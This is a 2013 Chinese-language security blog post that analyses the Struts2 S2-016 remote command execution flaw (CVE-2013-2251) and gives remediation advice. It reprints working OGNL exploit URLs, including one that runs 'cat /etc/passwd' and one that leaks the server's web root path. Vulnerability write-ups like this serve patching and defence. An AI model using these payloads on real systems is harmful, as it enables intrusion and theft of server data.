首页 > Web安全 > struts2远程命令执行漏洞(s2-016)分析及防范
2013
07-18

struts2远程命令执行漏洞(s2-016)分析及防范

Struts2的官网在17号上午又公布了一个远程命令执行漏洞,随后各种版本的利用工具满天飞,对于wooyun和某些安全工程师童鞋来说,今天应该是备受压力和煎熬的一天!

17号上午11点空虚浪子心大牛的微博发了一条内容,随后经过各种大牛的转播,引爆了又一次的struts2远程命令执行漏洞换rank的浪潮!上一次struts2远程命令执行漏洞大爆发还要追溯到2012年5月份左右,同样wooyun上各种刷rank的,当时那些童鞋刷的rank如今已经升值很多了!1rank=10QB=10元rmb了.当时拼凑过一篇文章:

http://www.nxadmin.com/web/540.html

关于这次struts2远程命令执行漏洞(s2-016),官方是这样描述这个漏洞产生原因的:

Struts2的DefaultActionMapper支持一种方法,可以使用”action:”, “redirect:” , “redirectAction:”对输入信息进行处理,从而改变前缀参数,这样操作的目的是方便表单中的操作。在2.3.15.1版本以前的struts2中,没有对”action:”, “redirect:” , “redirectAction:”等进行处理,导致ognl表达式可以被执行。

空虚浪子新大牛是这么描述这个漏洞的:”在struts中,框架接收到的用户输入,除了参数、值以外,还有其他地方,比如文件名。这个漏洞,是struts2对url中的文件名做了解析,导致的ognl代码执行。”

该漏洞影响版本:Struts 2.0.0 – Struts 2.3.15, CVE编号为:CVE-2013-2251

官方公布的漏洞利用poc细节如下:

1),简单表达式,ognl表达式被求值

http://www.nxadmin.com/struts2/x.action?%25(3*4)

http://www.nxadmin.com/struts2/save.action?redirect:%25(3*4)

2),命令执行

1,http://www.nxadmin.com/struts2/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}

2,http://www.nxadmin.com/struts2/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}

3,http://www.nxadmin.com/struts2/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{‘command’,’goes’,’here’})).start()}

下面总结了一些漏洞利用的exp:

命令执行:

http://www.nxadmin.com/struts2/login.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cat’,’/etc/passwd’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

爆网站的物理路径:

http://www.nxadmin.com/struts2/login.action?redirect:${%23a%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletRequest’),%23b%3d%23a.getRealPath(“/”),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()}

 

以上利用方法转载自互联网,仅供学习了解struts2,不要用作非法,后果自负!

漏洞修复建议:

官方强烈建议升级到struts2 2.3.15.1,该版本包含校正过的struts2核心库。

下载地址;http://struts.apache.org/download.cgi#struts23151

另外可以看看空虚浪子心大牛的分析来针对性解决问题:

http://www.inbreak.net/archives/507

有能力的公司,建议还是自己开发框架,不开源.一般的小菜白帽子也不可能黑盒测试获取相关漏洞,不像struts2开源的,各种挖洞大神都可以去读代码挖洞!POC一公布又是各种利用工具,稍微懂点软件使用的小菜都可以横扫各大网站了!

最后编辑:
作者:admin
这个作者貌似有点懒,什么都没有留下。

留下一个回复

你的email不会被公开。